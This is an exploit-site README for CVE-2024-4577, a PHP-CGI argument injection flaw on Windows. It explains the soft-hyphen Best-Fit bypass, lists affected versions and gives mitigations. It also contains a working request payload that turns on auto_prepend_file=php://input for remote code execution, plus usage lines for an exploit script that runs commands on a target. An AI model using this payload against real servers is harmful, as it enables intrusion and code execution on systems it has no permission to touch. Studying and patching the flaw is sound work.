Exploit for OS Command Injection in Php CVE-2024-4577

## https://sploitus.com/exploit?id=30D2962D-4879-5A39-95C2-51BD895071F7
# CVE-2024-4577 - PHP CGI Argument Injection on Windows ("WorstFit")

## Overview

CVE-2024-4577 is a critical remote code execution vulnerability in PHP's CGI implementation on Windows. It bypasses the fix for the original CVE-2012-1823 by exploiting Windows "Best-Fit" code page conversion to smuggle command-line arguments through the CGI query string.

- **CVSS Score:** 9.8 (Critical)
- **Discovered by:** Orange Tsai (DEVCORE)
- **Type:** OS Command Injection / Argument Injection
- **Patch date:** June 6, 2024

## Technical Details

When PHP runs as a CGI module (`php-cgi.exe`), it parses the query string as command-line arguments. The original fix for CVE-2012-1823 blocked the `-` (hyphen, 0x2D) character to prevent argument injection. However, on Windows systems using certain code pages (e.g., Chinese, Japanese, Korean), the "Best-Fit" character mapping feature converts specific Unicode characters to their closest ASCII equivalents.

The key bypass uses the **soft-hyphen** character (0xAD / U+00AD). When a request passes `%AD` in the query string and the server's locale uses a "Best-Fit" code page, Windows internally converts `0xAD` to `0x2D` (hyphen), allowing the attacker to inject PHP arguments despite the filter.

Example: `%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input` becomes `-d allow_url_include=1 -d auto_prepend_file=php://input`.

## Affected Versions

- PHP 8.1.* before 8.1.29
- PHP 8.2.* before 8.2.20
- PHP 8.3.* before 8.3.8

**Configuration requirements:**
- PHP running as CGI with `php-cgi.exe`
- Apache web server with `mod_cgi` or `mod_cgid` configured
- Windows locale using a "Best-Fit" code page (Chinese, Japanese, Korean, etc.)

## Environment Setup (XAMPP)

1. Download a vulnerable PHP version (e.g., 8.1.28) for Windows.
2. Set up XAMPP or Apache with CGI mode:
   ```
   ScriptAlias /php-cgi/ "C:/php/"
   Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
   ```
3. Verify the target: `http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input`

## Usage

```
python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo
```

## PoC

The crafted payload injects PHP configuration directives via the query string:

```
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded


```

## Mitigation

- **Upgrade** PHP to 8.3.8+, 8.2.20+, or 8.1.29+
- **Disable CGI** mode and use PHP-FPM, mod_php, or FastCGI instead
- Apply IIS or Apache rewrite rules to block requests to `php-cgi.exe`
- Run PHP only on systems with non-Best-Fit code pages (e.g., English)

## References

- https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
- https://nvd.nist.gov/vuln/detail/CVE-2024-4577
- https://www.php.net/ChangeLog-8.php
- https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09